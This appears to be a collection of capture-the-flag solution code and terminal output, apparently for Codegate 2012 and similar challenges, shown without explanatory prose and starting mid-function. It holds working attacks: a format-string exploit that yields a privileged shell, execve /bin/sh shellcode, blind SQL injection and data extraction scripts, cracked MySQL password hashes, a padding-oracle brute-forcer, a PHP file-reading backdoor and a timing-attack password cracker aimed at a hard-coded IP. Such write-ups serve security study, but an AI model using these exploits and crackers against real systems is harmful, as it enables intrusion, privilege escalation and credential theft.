     break
   t += s[i]
 return t
 
def main(args):
 imm = immlib.Debugger()
 a = imm.readMemory(0x40a890,80)
 b = toString(a)
 
 regs = imm.getRegs()
 if (regs['EIP'] == 0x413405):
    str1 = 'b[29]+b[52]+b[69]+b[52]+b[65]+b[46]+b[68]+b[63]'
    imm.log('Nice work, Key1 : "' + str1 + '"')
    return 'But, Find Next Key!'
 elif( regs['EIP'] == 0x414705 ):
    str2 = b[46]+b[29]+b[2]+b[69]+b[2]+b[65]+b[46]+b[0]+b[61]
    imm.log('Nice work, Key2 : "' + str2 + '"')
    return 'Input Key : Key1 + Key2'
 
 return 'Nothing found ..'

b = "123456789:;?@ABCDEFGHIJKLMNOPQ
                        RSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
print b[29]+b[52]+b[69]+b[52]+b[65]+b[46]+b[68]+b[63] +
      b[46]+b[29]+b[2]+b[69]+b[2]+b[65]+b[46]+b[0]+b[61]

void __stdcall decode_buffer(char *buf, int size, int key)

import idaapi
import binascii
 
class Xglob:
  def __init__(self):
    self.i = 0
    self.dmp = None
glob = Xglob()
 
class ida_SDbg(idaapi.DBG_Hooks):
   def dbg_bpt(self, tid, ea):
     if( dbg_commands.has_key(ea) ):
       callback = dbg_commands[ea]
       if( callback() == 0 ): idaapi.continue_process()
     return 0
 
def GetMem(ea,size):
  r = ''
  for ea in range(ea,ea+size):
    r += chr(Byte(ea))
  return r
 
def DumpInit():
  glob.dmp = file('bin500_1.dmp','wb')
def Dump(s):
  if(glob.dmp!=None): glob.dmp.write(s);
 
def OnVM2():
   idaapi.refresh_debugger_memory()
   ret = Dword(GetRegValue("ESP"))
   l = idaapi.decode_insn(ret)
   Dump(GetMem(ret,l))
   return 0;
 
dbg_commands = {}
script_dbg = ida_SDbg()
script_dbg.hook()
 
dbg_commands[0x004113AC] = OnVM2
DumpInit()

    Run C:\!work\codegate.exe
    WinWait Codegate 2012
    WinActivate
 
    Send {BS}  
    Send {h}
    Send {a}
    Send {n}
    Send {u}
    Send {l}
    Send {9}
    Send {3}
    Send {shift}
    Send {k}
    Send {e}
    Send {i}
    Send {vk60}
    Send {vk76}

#include
#include
#define __u64 unsigned long long
#define uint32_t unsigned long
 
int xor_func(unsigned __int8 *a1, unsigned int size, int key)
{
  int result;
  unsigned int i;
  if ( key )
  {
    for ( i = 0; i < size; ++i )
    {
      a1[i] ^= key;
      result = i + 1;
    }
  }
  return result;
}
#pragma pack (push, 1)
struct param
{
    unsigned int xor_key;
    unsigned int time1;
    unsigned int time2;
    char type;
    WORD offset;
    DWORD host;
    DWORD port;
    WORD size;
    unsigned int aaa;
};
#pragma pack (pop)
 
int main(int argc, char* argv[])
{
   FILE* hFile;
   param *lpParameter = 0, *pparam = 0;
   unsigned int sum = 0;
   hFile = fopen("dRcw.ziq", "rb");
   if ( hFile )
   {
      fseek(hFile, 0, 2);
      int Count = ftell(hFile);
      rewind(hFile);
      unsigned char* Memory = (unsigned char*)malloc(Count);
      fread(Memory, 1u, Count, hFile);
      fclose(hFile);
      unsigned char* pmem = (unsigned __int8 *)Memory;
      lpParameter = (param *)((char *)Memory + 13);
      for ( int i = 0; i < *(DWORD *)(pmem + 9); ++i )       {          pparam = lpParameter;          xor_func((unsigned char*)&lpParameter->time1, 21, (int)lpParameter->xor_key);
         if ((lpParameter->time2 - lpParameter->time1) > 0)
	    sum2 += ((lpParameter->time2 - lpParameter->time1)/10000 + 1);
         printf("\n%Host: %08x Port: %08x",lpParameter->host,lpParameter->port);
         sum += (WORD)lpParameter->port;
         xor_func((unsigned char*)&lpParameter->aaa, pparam->size + pparam->offset, (int)lpParameter->xor_key);
	 printf("\n%s",(unsigned char*)lpParameter+25);
	 lpParameter = (param *)((char *)lpParameter + pparam->size + pparam->offset + 25);
       }
   }
   printf("\nKey: %d", sum*8);
   return 0;
}

D:\ctf\cg2012\for500>\TrID\trid.exe B704361ACF90390C17F6103DF4811E2D
 
TrID/32 - File Identifier v2.10 - (C) 2003-11 By M.Pontello
Definitions found:  4604
Analyzing...
 
Collecting data from file: B704361ACF90390C17F6103DF4811E2D
100.0% (.E01) EnCase Forensic Drive Image (3006/2)

struct ewf_file {
    char ewf_magic[8] = "EVF\x09\x0D\x0A\xFF\x00";
 
    uint8_t start_of_fields = 0x01;
    uint16_t seg_number;  /* 0x0001 in the sample */
    uint16_t end_of_fields = 0x0001;
 
    struct ewf_section sections[];
}

struct ewf_section {
    char section_name[16];  /* first is "header2" in sample */
    uint64_t next_section_offset;  /* 0x0175 */
    uint64_t section_size;  /* 0x0168 */
    char padding[40];
    uint32_t section_adler32;  /* 0xE211037B */
    char section_data[];
}

struct gpt {
    char gpt_magic[8] = "EFI PART";
    char revision[4] = "\x00\x00\x01\x00";
 
    uint32_t header_size = 0x5C;
    uint32_t header_crc32;  /* 0x50448816 in the sample */
 
    char padding[4];
 
    uint64_t current_lba = 0x01;
    uint64_t backup_lba;  /* 0x0EE7C2AF in sample */
    uint64_t first_data_lba;  /* 0x22 */
    uint64_t last_data_lba;  /* 0x0EE7C28E */
    GUID disk_guid;  /* {33B483E2-0856-4E73-A8C9-96BC37648169} */
 
    uint64_t part_lba = 0x02;
    uint32_t part_number;  /* 0x80 in sample (?!?) */
    uint32_t part_size = 0x80;
    uint32_t part_crc32;  /* 0xE41AB9FC */
 
    char padding[420];
 
    struct gpt_partition partitions[];
}

struct gpt_partition {
    GUID type_guid;
    GUID partition_guid;
    uint64_t first_lba;
    uint64_t last_lba;
    uint64_t flags;
    wchar_t partition_label[36];
}

yesMan@ubuntu:~$ ./X 'hello %p %p %p %p %p'
hello 0xbfdedea6 0x100 0x804825c 0xb7846b48 0xbfde0002

root@bt:~/Desktop# execstack X.bin 
- X.bin

yesMan@ubuntu:/tmp/v$ ulimit -c 1024
yesMan@ubuntu:/tmp/v$ cp ~/X ./
yesMan@ubuntu:/tmp/v$ ./X '%n%n%n%n'
Segmentation fault (core dumped)
 
root@bt:~/Desktop# eu-readelf -a core.dump
<...>
  LINUX                 48  386_TLS
    index: 6, base: 0x4017e6c0, limit: 0x000fffff, flags: 0x00000051
    index: 7, base: 0x00000000, limit: 0x00000000, flags: 0x00000028
    index: 8, base: 0x00000000, limit: 0x00000000, flags: 0x00000028

(gdb) p/x &system
$1 = 0x4005d100

#!/bin/sh
env -i "PATH=.:$PATH" "A=`perl -e'print"\xd4\xe6\x17\x40"x5000;print"\x10\xa0\x04\x08"x5000;print"\x12\xa0\x04\x08"x5000;'`" $1 $2 $3 $4 $5 $6 $7 $8 $9

yesMan@ubuntu:/tmp/v$ ./r ltrace ~/X '%2500$n'
__libc_start_main(0x8048474, 2, 0xbf881f64, 0x8048520, 0x8048510 <unfinished ...>
strncpy(0xbf881d9c, "%2500$n", 256)
printf("%2500$n", 0xbf882533)
__stack_chk_fail(0xbf881d9c, 0xbf882533, 256, 0x804825c, 0x4001fb48
*** stack smashing detected ***: /home/yesMan/X terminated

yesMan@ubuntu:/tmp/v$ ./r ~/X '%2500$n%53504d%7500$hn%28421d%12500$hn' 1>/dev/null
sh: %2500%53504d%7500%28421d%12500: not found

yesMan@ubuntu:/tmp/v$ cat > %2500%53504d%7500%28421d%12500
#!/bin/sh
bash -p
yesMan@ubuntu:/tmp/v$ chmod +x %2500%53504d%7500%28421d%12500
yesMan@ubuntu:/tmp/v$ ./r ~/X '%2500$n%53504d%7500$hn%28421d%12500$hn' 1>/dev/null
bash-4.1$ id >&2
uid=1001(yesMan) gid=1001(yesMan) euid=1002(yesMan2) groups=1001(yesMan)
bash-4.1$ _

M8EdPtY517M=cACNHQhdH/I=

$ echo M8EdPtY517M= | base64 -d | xxd
0000000: 33c1 1d3e d639 d7b3                      3..>.9..
$ echo cACNHQhdH/I= | base64 -d | xxd
0000000: 7000 8d1d 085d 1ff2                      p....]..

alpha = "\x01\x02\x03\x04\x05\x06\x07\x08abcdefghijklmnopqrstuvwxyz"
vals = []
key = ""
for j in xrange(8):
	for i in map(ord, alpha):
		a = "33c11d3ed639d7b3".decode("hex")
		b = "70008d1d085d1ff2".decode("hex")
 
		a = map(ord, a)
		b = map(ord, b)
 
		for k in xrange(7, -1, -1):
			a[k] ^= j + 1
			if 7-k >= len(vals): continue
			a[k] ^= vals[7-k]
 
		a[7-len(vals)] ^= i
		a = "".join(map(chr, a))
		b = "".join(map(chr, b))
 
		res = get_result(a, b)
		if "PADDING" not in res:
			vals.append(i)
			key = chr(i) + key
			print "Got byte:", key
			break

$ py vuln400.py 
Got byte: 

Got byte: c

Got byte: ic

Got byte: tic

Got byte: itic

Got byte: zitic

Got byte: ezitic

Got byte: nezitic

"gnik\x04\x04\x04\x04" -> 0x676e696b04040404
"nezitic\x01" -> 0x6e657a6974696301
0x33c11d3ed639d7b3 ^ 0x676e696b04040404 ^ 0x6e657a6974696301 = 0x3aca0e3ca654b0b6

from base64 import *
open("king.ctf", "wb").write(b64encode("3aca0e3ca654b0b6".decode("hex")) + b64encode("70008d1d085d1ff2".decode("hex")))

<?php
$f = file_get_contents('strings_out.txt');
preg_match_all('#GET /sc/id_check\.php\?name=(.*?) HTTP/1\.1.+?Content-Length: (\d+)#s', $f, $mt, PREG_SET_ORDER);
foreach ($mt as $m) {
  $query = urldecode($m[1]);
  echo "Query: $query\n";
  $length = $m[2];
  if ($length == 0) {
    echo "Result: FALSE\n";
  } elseif ($length == 4) {
    echo "Result: TRUE\n";
  } else {
    echo "Result: $length\n";
  }
}
?>

<?php
$f = file_get_contents("sql_queries_results.txt");
preg_match_all('#Query: music\' AND ORD\(MID\((.+?), (\d+), \d+\)\) > (\d+) AND \'\w+\'=\'\w+\nResult: (TRUE|FALSE)\n#s', $f, $mt, PREG_SET_ORDER);
 
$datas = array();
 
foreach ($mt as $cm) {
  $query = $cm[1];
  $pos = $cm[2];
  $probe = (int)$cm[3];
  $result = $cm[4];
 
  if (!isset($datas[$query]))
    $datas[$query] = array();
  if (!isset($datas[$query][$pos]))
    $datas[$query][$pos] = array(0 => 0, 1 => 255);
  if ($result == "TRUE") {
    $datas[$query][$pos][0] = $probe + 1;
  } else {
    $datas[$query][$pos][1] = $probe;
  }
}
 
$decoded = array();
 
foreach ($datas as $query => $chars) {
  $str = '';
  foreach ($chars as $char) {
    $str .= chr($char[0]);
  }
  $decoded[$query] = $str;
}
 
print_r($decoded);
?>

(IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))) => cdgate

(SELECT IFNULL(CAST(TABLE_NAME AS CHAR(10000)), CHAR(32)) FROM information_schema.TABLES WHERE table_schema=CHAR(X,X,X,X,X,X) LIMIT 0, 1) => member

*300102BEB9E4DABEB8BD60BB9BB6686A6272C787
*1763CA06A6BF4E96A671D674E855043A9C7886B2
*C5404E97FF933A91C48743E0C4063B2774F052DD
*DBA29A581E9689455787B273C91D77F03D7FAD5B
*8E4ADF66627261AC0DE1733F55C7A0B72EC113FB
*FDDA9468184E298A054803261A4753FF4657E889
*0ECBFBFE8116C7612A537E558FB7BE1293576B78
*EEFD19E63FA33259154630DE24A2B17772FAC630:lynco
*6FF638106693EF27772523B0D5C9BFAF4DD292F1
*87A5750BB01F1E52060CF8EC90FB1344B1D413AA:mouse
*DDD9B83818DB7B634C88AD49396F54BD0DE31677:etagcd <==
*3E8563E916A490A13918AF7385B8FF865C221039
*18DF7FA3EE218ACB28E69AF1D643091052A95887

echo strtoupper(md5('cdgate|member|etagcd'));
AB6FCA7FFC88710CFBC37D5DF9A25F3F

int func() {
    puts("func");
    return 0;
}
 
int main(int argc, char *argv[]) {
    char s[12];
    memset(s, 0x90u, 0x12u);
    FILE *stream = fopen(argv[1], "r");
    if (stream) {
        int nread = fread(s, 1u, 0xCu, stream);
        if (nread == 12) {
            fclose(stream);
 
            void (*ptr)() = func; // 0x08048540
            unsigned int b4 = (s[4] | 1) ^ 0xE0;
            unsigned int b3 = (s[1] | 1) ^ 0xE0;
            b3 <<= 16;
            b4 <<= 24;
            strncpy(test, s, 0x12u); // ???
            ptr = (b4 | b3 | ptr);
            ptr();
            return 0;
        }
    }
    return 1;
}

$ mkdir /tmp/solve
$ cd /tmp/solve
$ export SC="` perl -e 'print "\x90"x100000 . "\xeb\x0d\x5f\x31\xc0\x50\x89\xe2\x52\x57\x54\xb0\x3b\xcd\x80\xe8\xee\xff\xff\xff/bin/sh";'`"
$ echo '^^^^^^^^^^^^^^^^^^^^^^^' >test
~/X ./test
 
$ cat ~/password
key_is_The_davinci_cod3_!

<?php 
if ($_GET["d"])
	print_r(scandir($_GET["d"]));
if ($_GET["f"])
	echo highlight_file($_GET["f"]);
?>

<? 
/* 
Good Job ! 
 
Key is 16b7a4c5162d4dee6a0a6286cd475dfb 
*/ 
?> 1

$ py vuln100query.py "SELECT schema_name FROM information_schema.schemata LIMIT 1, 1"
codegate_mp3
$ hexenc codegate_mp3
636f6465676174655f6d7033
$ py vuln100query.py "SELECT table_name FROM information_schema.tables WHERE table_schema=0x636f6465676174655f6d7033 LIMIT 0, 1"
upload_mp3_101_50_134_99

$ hexenc 'upload_mp3_127_0_0_1'
75706c6f61645f6d70335f3132375f305f305f31
$ py vuln100query.py "SELECT column_name FROM information_schema.columns WHERE table_name=0x75706c6f61645f6d70335f3132375f305f305f31 LIMIT 0,1"
idx
$ py vuln100query.py "SELECT column_name FROM information_schema.columns WHERE table_name=0x75706c6f61645f6d70335f3132375f305f305f31 LIMIT 1,1"
genre
$ py vuln100query.py "SELECT column_name FROM information_schema.columns WHERE table_name=0x75706c6f61645f6d70335f3132375f305f305f31 LIMIT 2,1"
title
$ py vuln100query.py "SELECT column_name FROM information_schema.columns WHERE table_name=0x75706c6f61645f6d70335f3132375f305f305f31 LIMIT 3,1"
file

f = open("out.mp3","w")
s = ""
for i in range(1000):
	s1 = query("select hex(substr(file, 1+%d, 30000)) from upload_mp3_127_0_0_1" % (i*30000))
	if s1 != s: 
		s = s1
		f.write(s.decode("hex"))
		print i
	else:
		quit()

#include <stdio.h>
#include <time.h>
 
#define uint32_t unsigned int
int prem_data(unsigned int *new_key, unsigned char* key)
{
  int result, i;
  result = 0;
  new_key[0] = 0;
  new_key[1] = 0;
  new_key[2] = 0;
  new_key[3] = 0;
  for ( i = 0; i < 4; ++i )
  {
    result = i;
    new_key[i] = key[4*i+3] | (key[4*i+2] << 8) | (key[4*i+1] << 16) | (key[4*i] << 24);
  }
  return result;
}
void decrypt4 (uint32_t* v, uint32_t* k, unsigned char* new_keys) 
{
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
    uint32_t delta=0x61C88647;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
 
    unsigned char* vv = (unsigned char*)v;
    v0 = vv[3] | (vv[2] << 8) | (vv[1] << 16) | (vv[0] << 24);
    v1 = vv[7] | (vv[6] << 8) | (vv[5] << 16) | (vv[4] << 24);
 
    for (i=0; i < 0x20; i++) 
    {                 
	v1 -= (((v0<<4)^(v0>>5)) + v0) ^ (sum + k[(sum>>11) & 3]);
	sum += delta;                                   
	v0 -= (((v1<<4)^(v1>>5)) + v1) ^ (sum + k[sum & 3]);                                 
 
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
 
    new_keys[0] = (unsigned char)(v0 >> 24);
    new_keys[1] = (unsigned char)(v0 >> 16);
    new_keys[2] = (unsigned char)(v0 >> 8);
    new_keys[3] = (unsigned char)v0;
    new_keys[4] = (unsigned char)(v1 >> 24);
    new_keys[5] = (unsigned char)(v1 >> 16);
    new_keys[6] = (unsigned char)(v1 >> 8);
    new_keys[7] = (unsigned char)(v1);
}
unsigned char g_data[17]   = "\x1E\xa0\xf5\xc6\xD9\xec\x02\xf6\x59\x18\x7c\x2e\x6f\x85\x5d\xde";
unsigned char hardcoded_keys[17] = "\x1E\xAE\xA1\xC7\xB3\x50\x6D\x02\x5A\x61\x33\xE4\x5B\xF0\x13\x8A";
void main()
{
	unsigned char tmp_data[17];
	prem_data((uint32_t*)tmp_data, g_data);
	decrypt4 ((uint32_t*)hardcoded_keys, (uint32_t*)tmp_data, (unsigned char*)tmp_data);
	tmp_data[8] = '\0';
	printf("Key: %s", tmp_data);
}

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 _    _  99   _________   ______   ______  _    _  _____  ______   ______
\ \  / /     | | | | | \ | |  | | | |     | |  | |  | |  | |  \ \ | |
 >|--|<      | | | | | | | |__| | | |     | |--| |  | |  | |  | | | |----
/_/  \_\     |_| |_| |_| |_|  |_| |_|____ |_|  |_| _|_|_ |_|  |_| |_|____
 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 
Authentication Required
Password : pass
 
Authentication Failed ....
Password : _

Authentication Required
Password : hello
 
Authentication Failed ....
Password : world
   *** 5 seconds pass.. ***
Authentication Failed ....

<?php
function new_socket() {
  $sock = fsockopen("208.64.122.27", 3000);
  while (trim(fgets($sock)) != 'Authentication Required');
  fread($sock, 11);  // Skip 'Password : '
  return $sock;
}
 
$charset = str_split("qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-.");
$sockets = $times = array();
$guessed = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';  // can resume session if anything goes wrong
 
while (true) {
  echo "Guessed '$guessed'\n";
 
  echo "    Creating sockets";
  foreach ($charset as $letter) {
    $sockets[$letter] = new_socket();
    echo ".";
  }
  echo "\n";
 
  echo "   Writing passwords";
  foreach ($sockets as $letter => $sock) {
    fwrite($sock, $guessed . $letter);
    echo ".";
  }
  echo "\n";
 
  echo "        Writing \\n's";
  foreach ($sockets as $letter => $sock) {
    fwrite($sock, "\n");
    $times[$letter] = microtime(true);
    echo ".";
    stream_set_blocking($sock, false);  // Turning off blocking for read attempts
  }
  echo "\n";
 
  echo "Waiting for response";
  while (!empty($sockets)) {
    foreach ($sockets as $letter => $sock) {
      $c = fgetc($sock);
      if ($c !== false) {
        $times[$letter] = microtime(true) - $times[$letter];
        fclose($sock);
        unset($sockets[$letter]);
        echo '.';
      }
    }
    usleep(10000);
  }
  echo "\n\n";
 
  echo "===== Response times\n";
  $nextLetter = false;
  foreach ($times as $letter => $time) {
    if ($time > 5 * (strlen($guessed) + 1)) {
      $nextLetter = $letter;
      echo "*$letter* - " . round($time) . "\t";
    } else {
      echo "$letter - " . round($time) . "\t";
    }
  }
  echo "\n\n";
 
  if ($nextLetter === false) {
    break;
  } else {
    $guessed .= $nextLetter;
  }
 
}
 
echo "\nWork done!\nPassword is: $guessed\n";
?>

F:\>d:\php\php_fast.cmd x99.php
Guessed ''
..............
..............
*** approx. 30 mins later ***
..............
Work done!
Password is: w3_0wn_7h15_f0r_r34L

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 _    _  99   _________   ______   ______  _    _  _____  ______   ______
\ \  / /     | | | | | \ | |  | | | |     | |  | |  | |  | |  \ \ | |
 >|--|<      | | | | | | | |__| | | |     | |--| |  | |  | |  | | | |----
/_/  \_\     |_| |_| |_| |_|  |_| |_|____ |_|  |_| _|_|_ |_|  |_| |_|____
 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 
Authentication Required
Password : w3_0wn_7h15_f0r_r34L
 
 
 
 
                 +-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-
 
                Game Flag : 0xFEFERKJ8389743GH79G6D368GT093
 
                 +-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-

<p id="errormsg"><font color="red"><script>var s=String.fromCharCode(73, 115, 84, 104, 105, 83, 82, 101, 97, 76, 76, 121, 72, 73, 68, 68, 69, 78);</script>Challenge Doesn't Exist</font></p>

<script language=JavaScript>
	var t1=0;
	var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ12345679";
	var pass  = "i forgot my pass";
	var kk=1;
	for (i=0;i<pass.length;++i)
	{
		t1+=(pass.charCodeAt(i)*kk)+(chars.substring(kk,kk+1).charCodeAt(0));
		++kk;
	}
	(t1+'' == '8829') ? alert("submit this for some points"):alert( "not yet" );	
</script>

+ HINT on data format:
<AlpHaNiX> for JS10 format is ***_****_******

F:\Secrets>strings 011.exe
....
Th1SiSmYp455w0rD
....

HAI
CAN HAS STDIO?
I HAS A VAR
GIMMEH VAR
BTW I LUV EDOCLOL
IZ VAR EQUAL "IHAZZOMVAR"?
	YARLY
		VISIBLE "GUD"
	NOWAI
		VISIBLE "SUX"
	KTHX
KTHXBYE

 Ingredients.
 105 beer
 102 mushrooms
 72 cheese
 85 jelly
 74 tacos
 69 beans
 
 Method.
 Put mushrooms into the mixing bowl.
 Put beer mustard into the mixing bowl.
 Put cheese mustard into the mixing bowl.
 Put tacos mustard into the mixing bowl.
 Put beans mustard into the mixing bowl.
 Put jelly mustard into the mixing bowl.
 Put cheese mustard into the mixing bowl.
 Liquefy contents of the mixing bowl.
 Pour contents of the mixing bowl into the baking dish.
 
 Serves 1.

++++++++[>+>++>+++>++++>+++++>++++++>+++++++>++++++++>+++++++++>++++++++++>+++++++++++>++++++++++++>+++++++++++++>++++++++++++++>+++++++++++++++>++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>--.++<<<<<<<<<<<<<>>>>>>.<<<<<<>>>>>>+++.---<<<<<<>>>>>>.<<<<<<>>>>>>>>>>>>+.-<<<<<<<<<<<<>>>>>>>>>>>>>---.+++<<<<<<<<<<<<<>>>>>>>.<<<<<<<>>>>>>>>>>>>+++.---<<<<<<<<<<<<>>>>>>>>>>>>>----.++++<<<<<<<<<<<<<>>>>>>.<<<<<<>>>>>>>>>>>>>---.+++<<<<<<<<<<<<<>>>>>>++.--<<<<<<>>>>>>>+.-<<<<<<<>>>>>>+++.---<<<<<<>>>>>>>>>>>>>--.++<<<<<<<<<<<<<>>>>>>>>>>>>+++.---<<<<<<<<<<<<>>>>>>+++.---<<<<<<>>>>>>+++.---<<<<<<>>>>>>++.--<<<<<<>>>>>>++.--<<<<<<>>>>>>>+.-<<<<<<<>>>>>>.<<<<<<>>>>>>>>>>>>+++.---<<<<<<<<<<<<>>>>>>>-.+<<<<<<<>>>>>>>>>>>>>--.++<<<<<<<<<<<<<>>>>>>>>>>>>>---.+++<<<<<<<<<<<<<>>>>>>>---.+++<<<<<<<>>>>>>>>>>>>>--.++<<<<<<<<<<<<<>>>>>>>+.-<<<<<<<>>>>>>>>>>>>+++.---<<<<<<<<<<<<>>>>>>>.<<<<<<<>>>>>>>>>>>>+++.---<<<<<<<<<<<<.